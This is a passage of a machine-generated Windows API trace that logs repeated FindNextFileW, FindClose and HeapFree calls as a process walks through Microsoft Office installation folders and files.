ftLastAccessTime.dwLowDateTime=0xcd71a51a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcd7406da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xad30, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="rdpqoemetrics.dll", cAlternateFileName="RDPQOE~1.DLL")) returned 1 [0078.809] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0078.809] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1db7a09, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1db7a09, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4fef2b0, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x8aa50, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="SAVASWEB.DLL", cAlternateFileName="")) returned 1 [0078.815] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0078.815] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x237aeb7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x397278, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="STSLIST.DLL", cAlternateFileName="")) returned 1 [0079.210] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0079.210] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa326fd, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4cce0ca, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4cce0ca, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0079.210] FindClose (in: hFindFile=0x582d48 | out: hFindFile=0x582d48) returned 1 [0079.211] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0079.211] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7f63b8, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1159842, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1349614, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x14a640, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="VISIO.EXE", cAlternateFileName="")) returned 1 [0079.212] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0079.212] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede4358a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede4358a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x245644bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2851, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="XML2WORD.XSL", cAlternateFileName="")) returned 1 [0079.212] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0079.213] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b1a0d3d, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rsod", cAlternateFileName="")) returned 1 [0079.219] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0079.219] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb48c20e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb48c20e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0079.223] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0079.223] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb48c20e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6099da, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0079.223] FindClose (in: hFindFile=0x582f08 | out: hFindFile=0x582f08) returned 1 [0079.320] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0079.320] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0079.522] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0079.522] FindNextFileW (in: hFindFile=0x582f48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6a2342, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Part", cAlternateFileName="")) returned 1 [0079.523] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0079.523] FindNextFileW (in: hFindFile=0x582f48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6a2342, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Part", cAlternateFileName="")) returned 0 [0079.523] FindClose (in: hFindFile=0x582f48 | out: hFindFile=0x582f48) returned 1 [0079.523] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0079.525] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6099da, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb67c092, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30f09, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AdjacencyLetter.dotx", cAlternateFileName="ADJACE~1.DOT")) returned 1 [0079.525] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0079.525] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb787155, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf6a1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LoanAmortization.xltx", cAlternateFileName="LOANAM~1.XLT")) returned 1 [0079.526] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0079.526] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7ad38b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0079.526] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0079.526] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7ad38b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 0 [0079.526] FindClose (in: hFindFile=0x582dc8 | out: hFindFile=0x582dc8) returned 1 [0079.526] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0079.526] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0 [0079.526] FindClose (in: hFindFile=0x582d88 | out: hFindFile=0x582d88) returned 1 [0079.526] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0079.528] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb81fa9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb81fa9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1db9f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OriginLetter.Dotx", cAlternateFileName="ORIGIN~3.DOT")) returned 1 [0079.528] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0079.528] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 1 [0079.528] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0079.528] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 0 [0079.528] FindClose (in: hFindFile=0x582cc8 | out: hFindFile=0x582cc8) returned 1 [0079.529] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0079.529] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VFS", cAlternateFileName="")) returned 1 [0079.530] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0079.530] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0c33db, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0c33db, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x183c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MySharePoints.ico", cAlternateFileName="MYSHAR~1.ICO")) returned 1 [0079.531] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0079.531] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a112a2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5a112a2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 1 [0079.531] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0079.531] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a112a2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5a112a2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 0 [0079.531] FindClose (in: hFindFile=0x582dc8 | out: hFindFile=0x582dc8) returned 1 [0079.531] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0079.533] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Help", cAlternateFileName="MICROS~1")) returned 1 [0079.535] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0079.535] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Help", cAlternateFileName="MICROS~1")) returned 0 [0079.536] FindClose (in: hFindFile=0x582d88 | out: hFindFile=0x582d88) returned 1 [0079.536] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0079.536] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Common Programs", cAlternateFileName="COMMON~1")) returned 1 [0079.537] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0079.538] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x245b0966, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x245b0966, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245d6b52, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x721, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OneDrive for Business.lnk", cAlternateFileName="ONEDRI~1.LNK")) returned 1 [0079.538] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0079.538] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x868ac6fd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x868ac6fd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0079.546] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0079.546] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8913323b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8913323b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="private", cAlternateFileName="")) returned 0 [0079.547] FindClose (in: hFindFile=0x583008 | out: hFindFile=0x583008) returned 1 [0079.547] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0079.547] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xaf31749c, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xaf31749c, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesCommonX64", cAlternateFileName="PROGRA~3")) returned 1 [0079.548] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0079.548] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x52ea133, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x52ea133, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0079.551] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0079.551] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2f7aa31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2f7aa31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245fcdca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1702b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0079.668] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0079.668] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb976f98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0079.668] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0079.668] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf086f11e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf086f11e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf086f11e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1 [0079.670] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0079.670] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1 [0079.671] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0079.671] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2ca2e08, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14c6cb9, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x14c6cb9, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0079.671] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0079.671] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2e1f46, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb976f98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0079.673] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0079.673] FindNextFileW (in: hFindFile=0x582dc8, 